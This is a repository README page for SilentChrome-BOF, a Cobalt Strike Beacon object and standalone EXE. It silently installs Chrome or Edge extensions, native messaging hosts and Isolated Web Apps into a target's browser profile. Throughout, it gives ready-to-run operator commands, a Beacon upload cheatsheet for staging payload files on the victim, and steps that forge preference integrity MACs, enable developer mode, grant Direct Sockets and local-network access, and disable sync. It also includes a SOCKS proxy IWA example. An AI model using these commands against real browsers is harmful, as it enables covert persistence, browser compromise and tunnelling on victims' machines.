SilentChrome-BOF

KO | EN

gitlite — search

#javascript #hacktoberfest #ai #typescript #go #android #rust #deep-learning #nodejs #java #windows #kubernetes #awesome-list #pytorch

SilentChrome-BOF

(★ 22)

SilentChrome-BOF installs Chromium extension, native messaging, and Isolated Web App profile artifacts

SilentChrome-BOF Latest Version Download

Download Latest Version (.zip)

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# SilentChrome-BOF

SilentChrome installs Chromium extension, native messaging, and Isolated Web
App profile artifacts without driving Chrome UI. It ships as a standalone EXE
and a Cobalt Strike BOF wrapper. This tool is based off of https://github.com/asaurusrex/Silent_Chrome

Supported browser targets:

- Google Chrome
- Microsoft Edge

Supported install modes:

- unpacked MV3 extension profile entry
- Chrome/Edge per-user native messaging host registration
- IWA LevelDB / Local State install record
- IWA key-distribution component generation or registration
- profile sync disable helper

## Before You Start

- Use the BOF only from an x64 Beacon
- To use this BOF, you'll need to build or obtain the extension, native host, and IWA artifacts before using
  SilentChrome. The tool does not upload payload files or copy the extension,
  signed web bundle, native-host executable, or host manifest for you. Potential tool to use for generating these: https://github.com/KingOfTheNOPs/Ditto 
- If you are testing on a new browser install, make sure to initialize a new browser user-data directory by launching it once. Wait for
  `Local State`, `<profile>\Preferences`, and `<profile>\Secure Preferences`
  to exist.
- Before extension, sync, or IWA profile edits, close every browser process
  using that user-data directory. Chrome and Edge rewrite profile state during
  shutdown and can overwrite an installation performed while they are open.
- Stage extensions outside the browser-managed `<profile>\Extensions`
  directory. A fixed `manifest.json` key is strongly recommended so the
  extension ID does not depend on its staged path.

## Choose a Mode

| Goal | Required staged input | Recommended command mode |
| --- | --- | --- |
| Install an unpacked extension | Extension directory containing `manifest.json` | `--install-extension` |
| Register an extension's native host | Host executable and root host manifest | `--install-native-host` |
| Install an IWA with Direct Sockets | `webapp.pb`, signed bundle, manifest resources | `--install-iwa --iwa-generate-key-distribution` |
| Disable profile sync features | Initialized regular `Preferences` | `--disable-sync` |

## Cobalt Strike Quick Start Guide

Build the project, load `silent_chrome.cna`, and stage the artifacts on the
target. For example, after uploading an extension into
`<USER_DATA_DIR>\Default\BrowserExtension` and closing the browser:

```text
silentchrome --install-extension --browser chrome --user-data-dir "<USER_DATA_DIR>" --profile Default --ext-path "<USER_DATA_DIR>\Default\BrowserExtension"
```

For Edge, replace `chrome` with `edge` and use its user-data directory. Run the
native-host command as a separate step when the extension uses native
messaging. Use the complete IWA recipe below when installing an IWA.

## Build

Windows:

```batch
build.bat
```

Linux / WSL:

```bash
make
```

Outputs:

```text
build\silent_chrome.exe
build\silent_chrome.x64.o
```

Load `silent_chrome.cna` in Cobalt Strike for the `silentchrome` command.
The distributed BOF object supports x64 callbacks only.

## Command Reference

EXE examples:

```powershell
.\silent_chrome.exe --browser chrome --install-extension --ext-path C:\Path\To\Extension --profile Default
.\silent_chrome.exe --browser chrome --disable-sync
.\silent_chrome.exe --browser chrome --install-native-host --native-host-name com.example.host --native-host-manifest C:\Path\To\Extension\com.example.host.json
.\silent_chrome.exe --browser chrome --install-iwa --user-data-dir "$env:LOCALAPPDATA\Google\Chrome\User Data" --profile Default --iwa-app-id <app_id> --iwa-record C:\Path\To\webapp.pb --iwa-bundle-path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\iwa\<iwa_folder>\main.swbn" --iwa-manifest-resources C:\Path\To\manifest-resources --iwa-generate-key-distribution --iwa-key-distribution-version <version>
```

BOF examples:

```text
silentchrome --install-extension --browser chrome --ext-path "C:\Path\To\Extension" --profile Default
silentchrome --disable-sync --browser chrome
silentchrome --install-native-host --browser chrome --native-host-name com.example.host --native-host-manifest "C:\Path\To\Extension\com.example.host.json"
silentchrome --install-iwa --browser chrome --user-data-dir "C:\Users\<user>\AppData\Local\Google\Chrome\User Data" --profile Default --iwa-app-id <app_id> --iwa-record "C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\iwa\<iwa_folder>\webapp.pb" --iwa-bundle-path "C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\iwa\<iwa_folder>\main.swbn" --iwa-manifest-resources "C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\iwa\<iwa_folder>\manifest-resources" --iwa-generate-key-distribution --iwa-key-distribution-version "<version>"
```

Mode-specific options:

- `--browser <chrome|edge>`
- `--profile <name>`
- `--user-data-dir <path>`
- `--prefs-path <path>` (extension and sync modes; override automatic preference-file selection)
- `--ext-path <path>`
- `--disable-sync`
- `--install-extension`
- `--install-iwa`
- `--iwa-app-id <32-char app id>`
- `--iwa-record <webapp.pb>`
- `--iwa-bundle-path <Default\iwa\folder\main.swbn>`
- `--iwa-generate-key-distribution`
- `--iwa-register-key-distribution`
- `--iwa-entitle-direct-sockets`
- `--iwa-bundle-id <signed web bundle id>`
- `--iwa-key-distribution <iwa-key-distribution.pb>`
- `--iwa-key-distribution-version <version>`
- `--iwa-manifest-resources <directory containing Icons/ and Trusted Icons/>`
- `--install-native-host`
- `--native-host-name <native messaging host name>`
- `--native-host-manifest <path to native messaging host JSON>`
- `--verbose`

The Aggressor wrapper accepts named options only.

`--prefs-path` targets an initialized `Preferences` or `Secure Preferences`
file directly. It is useful for nonstandard profile layouts or when the
operator must select between both files; normal installs can rely on
`--user-data-dir` and `--profile` discovery.

## Extension Install Mode

`--install-extension` writes an unpacked extension into the target profile's
tracked preferences. Stage the unpacked extension somewhere Chrome does not
manage itself, such as a profile subdirectory outside `Default\Extensions` or
another writable staging directory.

Expected staged layout:

```text
<extension_stage>\
  manifest.json
  service_worker.js
  config.js
  icons\
    extension_icon.png
```

Install:

```powershell
$UserData = "$env:LOCALAPPDATA\Google\Chrome\User Data"
$Profile = "Default"
$ExtensionStage = "$UserData\$Profile\BrowserExtension"

.\silent_chrome.exe `
  --browser chrome `
  --user-data-dir "$UserData" `
  --profile "$Profile" `
  --install-extension `
  --ext-path "$ExtensionStage" `
  --verbose
```

Equivalent BOF:

```text
silentchrome --install-extension --browser chrome --user-data-dir "C:\Users\<user>\AppData\Local\Google\Chrome\User Data" --profile Default --ext-path "C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\BrowserExtension"
```

What it edits:

- `Secure Preferences` when present
- `Preferences` fallback when that is the active profile state
- `extensions.settings.<extension_id>`
- `extensions.ui.developer_mode`
- legacy tracked-preference MAC entries and `protection.super_mac`

The extension ID is derived from `manifest.json` `key` when present. If no key
is present, Chromium derives the ID from the unpacked path.

## Native Messaging Host Mode

`--install-native-host` writes the per-user registry key Chrome checks on
Windows. It does not copy the host manifest or executable; stage those files
first.

`--native-host-name` must equal the manifest's `name`. The manifest `path`
must resolve to the staged executable, and `allowed_origins` must contain the
installed extension's exact ID. The host normally becomes available after the
extension worker starts or the browser is reopened.

Chrome key:

```text
HKCU\Software\Google\Chrome\NativeMessagingHosts\<host_name>
```

Edge key:

```text
HKCU\Software\Microsoft\Edge\NativeMessagingHosts\<host_name>
```

Expected staged layout:

```text
<extension_stage>\
  com.example.host.json
  native_host\
    BrowserSupportHost.exe
```

Example manifest:

```json
{
  "name": "com.example.host",
  "description": "Browser Support Host",
  "path": "native_host\\BrowserSupportHost.exe",
  "type": "stdio",
  "allowed_origins": [
    "chrome-extension://<extension_id>/"
  ]
}
```

Install:

```powershell
.\silent_chrome.exe `
  --browser chrome `
  --install-native-host `
  --native-host-name com.example.host `
  --native-host-manifest "$ExtensionStage\com.example.host.json" `
  --verbose
```

Equivalent BOF:

```text
silentchrome --install-native-host --browser chrome --native-host-name com.example.host --native-host-manifest "C:\Path\To\Extension\com.example.host.json"
```

## IWA Install Mode

`--install-iwa` seeds an already-built IWA into a Chrome or Edge profile. It
does not copy the signed web bundle and it does not launch the browser. CNA
IWA mode currently supports the `Default` profile only; use the standalone EXE
for a non-default IWA profile.

SilentChrome writes the profile-local `enable-isolated-web-apps@1` entry into
`Local State` during `--install-iwa`. After launch, Chrome child processes may
show `--enable-features=IsolatedWebApps` because Chrome materializes that
profile setting internally; it should not be supplied by the operator.

The operator supplies:

- IWA `app_id`
- prepared Chrome `webapp.pb`
- staged signed web bundle at `Default\iwa\<iwa_folder>\main.swbn`
- optional manifest resources icon cache
- either generated or prebuilt key-distribution data for Direct Sockets

Expected built artifact layout:

```text
iwa\
  app.swbn
  install-artifacts\
    webapp.pb
    iwa-key-distribution.pb
    install-info.json
  manifest-resources\
    Icons\
      16.png
      32.png
      48.png
      128.png
      192.png
      512.png
    Trusted Icons\
      Icons\
        16.png
        32.png
        48.png
        128.png
        192.png
        512.png
    Icons Maskable\
      192.png
      512.png
```

Stage into the browser profile:

```powershell
$UserData = "$env:LOCALAPPDATA\Google\Chrome\User Data"
$Profile = "Default"
$Info = Get-Content .\iwa\install-artifacts\install-info.json | ConvertFrom-Json
$IwaStage = Join-Path $UserData "$Profile\iwa\$($Info.iwa_folder_name)"

New-Item -ItemType Directory -Force -Path $IwaStage | Out-Null
Copy-Item .\iwa\app.swbn (Join-Path $IwaStage "main.swbn") -Force
Copy-Item .\iwa\install-artifacts\webapp.pb (Join-Path $IwaStage "webapp.pb") -Force
Copy-Item .\iwa\manifest-resources (Join-Path $IwaStage "manifest-resources") -Recurse -Force
```

Install:

```powershell
.\silent_chrome.exe `
  --browser chrome `
  --user-data-dir "$UserData" `
  --profile "$Profile" `
  --install-iwa `
  --iwa-app-id "$($Info.app_id)" `
  --iwa-record (Join-Path $IwaStage "webapp.pb") `
  --iwa-bundle-path (Join-Path $IwaStage "main.swbn") `
  --iwa-manifest-resources (Join-Path $IwaStage "manifest-resources") `
  --iwa-generate-key-distribution `
  --iwa-key-distribution-version "$($Info.iwa_key_distribution_version)" `
  --verbose
```

Equivalent BOF:

```text
silentchrome --install-iwa --browser chrome --user-data-dir "C:\Users\<user>\AppData\Local\Google\Chrome\User Data" --profile Default --iwa-app-id <app_id> --iwa-record "C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\iwa\<iwa_folder>\webapp.pb" --iwa-bundle-path "C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\iwa\<iwa_folder>\main.swbn" --iwa-manifest-resources "C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\iwa\<iwa_folder>\manifest-resources" --iwa-generate-key-distribution --iwa-key-distribution-version "<version>"
```

Close Chrome for the target profile before running IWA install mode so Chrome
does not overwrite the staged profile files on shutdown.

SilentChrome writes:

- `Local State` IWA feature enablement
- `Local State` key-distribution component registration
- a LevelDB WriteBatch record for `web_apps-dt-<app_id>`
- `Default\Preferences` local-network, loopback, and local-network-access grants
- optional `Default\Web Applications\Manifest Resources\<app_id>` icon cache

### Advanced Key-Distribution Modes

- `--iwa-generate-key-distribution` creates a new component containing the
  entitlements needed by Direct Sockets, creates its component manifest, and
  registers the selected version in `Local State`. This is the recommended
  flow when installing an application such as Ditto.
- `--iwa-register-key-distribution` leaves a prepared protobuf unchanged. It
  creates/repairs the component manifest and points `Local State` at the
  prepared version. The supplied file must already contain every entitlement
  the IWA requires.
- `--iwa-entitle-direct-sockets` backs up and patches an existing prepared
  component with the target bundle ID's Direct Sockets entitlements, then
  registers it.

When an official component can replace the staged version, choose a valid
higher component version and verify the effective file after relaunch.

## Generating A Local SOCKS IWA

The repository includes a standalone IWA example:

```text
examples\iwa-socks-poc
```

It builds a signed IWA that starts a local SOCKS5 listener on
`127.0.0.1:38900` using Direct Sockets.

Build it:

```powershell
cd examples\iwa-socks-poc
npm ci
npm run build:iwa
```

Install the generated `iwa\` artifacts with the IWA staging commands above.
For a throwaway profile, initialize and close it before installing:

```powershell
$UserData = Join-Path $env:TEMP "silentchrome-iwa-lab"
$Profile = "Default"

Start-Process "C:\Program Files\Google\Chrome\Application\chrome.exe" `
  -ArgumentList @("--user-data-dir=$UserData", "--profile-directory=$Profile", "about:blank")

# Wait until Chrome creates Local State, Default\Preferences, and
# Default\Sync Data\LevelDB, then close all Chrome processes using that profile.
```

After running `silent_chrome.exe --install-iwa`, launch the app without any IWA
feature flag:

```powershell
Start-Process "C:\Program Files\Google\Chrome\Application\chrome.exe" `
  -ArgumentList @("--user-data-dir=$UserData", "--profile-directory=$Profile", "--app-id=$($Info.app_id)")
```

Then connect with:

```powershell
curl.exe --socks5-hostname 127.0.0.1:38900 https://example.com/
```

The example README contains the full staging and BOF command sequence.

## Beacon Staging Cheatsheet

Extension:

```text
cd %LOCALAPPDATA%\Google\Chrome\User Data\Default
mkdir BrowserExtension
cd BrowserExtension
upload manifest.json
upload service_worker.js
upload config.js
mkdir icons
cd icons
upload extension_icon.png
```

Native messaging host files:

```text
cd %LOCALAPPDATA%\Google\Chrome\User Data\Default\BrowserExtension
upload com.example.host.json
mkdir native_host
cd native_host
upload BrowserSupportHost.exe
```

IWA:

```text
cd %LOCALAPPDATA%\Google\Chrome\User Data\Default
mkdir iwa
cd iwa
mkdir <iwa_folder_name>
cd <iwa_folder_name>
upload main.swbn
upload webapp.pb
mkdir manifest-resources
cd manifest-resources
mkdir Icons
cd Icons
upload 16.png
upload 32.png
upload 48.png
upload 128.png
upload 192.png
upload 512.png
cd ..
mkdir "Trusted Icons"
cd "Trusted Icons"
mkdir Icons
cd Icons
upload 16.png
upload 32.png
upload 48.png
upload 128.png
upload 192.png
upload 512.png
cd ..\..
mkdir "Icons Maskable"
cd "Icons Maskable"
upload 192.png
upload 512.png
```

## Safety Notes

- The tool creates timestamped backups before profile writes.
- `--disable-sync` edits regular `Preferences`, not `Secure Preferences`.
- `--install-iwa` backs up `Local State`, the LevelDB log it appends to, and
  profile `Preferences`.
- `--iwa-generate-key-distribution` derives the signed web bundle ID from
  `webapp.pb` and writes the component under
  `<User Data>\IwaKeyDistribution\<version>\`.
- `--iwa-register-key-distribution` registers an already prepared component.
- `--iwa-entitle-direct-sockets` patches an existing key-distribution file.
- If parsing, MAC generation, or backup creation fails, the operation aborts.

## Troubleshooting

- **Extension disappears after restart:** Confirm the browser was fully
  closed during installation, the profile paths were correct, and the staged
  directory still exists. Check enterprise extension policies and compare the
  derived extension ID with the manifest/native-host `allowed_origins` entry.
- **Developer mode remains but the extension disappears:** Rebuild and use the
  current BOF; older releases did not clear Chromium's encrypted split-hash
  map correctly.
- **Native-host commands fail:** Verify the registry host name, manifest
  `name`, executable path, `allowed_origins`, and derived extension ID.
- **IWA does not appear:** Confirm the `webapp.pb`, staged bundle, manifest
  resources, LevelDB log, component file, component manifest, and selected
  user-data directory all belong to the same installation.
- **IWA opens without Direct Sockets:** Generate a fresh distribution or use
  an already-entitled prepared file. Verify that Chromium did not replace the
  selected component version.
- **Browser processes remain after closing the window:** Background extensions
  can keep the browser alive. Confirm the process count for the target
  `--user-data-dir`; `--disable-background-mode` is useful in disposable labs.
- **BOF works in Cobalt but not another loader:** The object contains an
  `.rdata` section. Test that loader explicitly rather than assuming Cobalt
  compatibility proves generic loader compatibility.

## Recovery and Uninstall

SilentChrome does not provide automatic uninstall. Restore the timestamped
backup associated with each reported profile file while the browser is fully
closed, remove the staged extension/IWA files, and remove the corresponding
HKCU native-host registry key. Preserve unrelated profile and component data;
restoring only part of an installation can leave inconsistent state.

SilentChrome-BOF

SilentChrome-BOF Latest Version Download

Today's picks

Was this content helpful?

Recent Feedback

SilentChrome-BOF

SilentChrome-BOF Latest Version Download

Today's picks

Was this content helpful?

Recent Feedback

Download README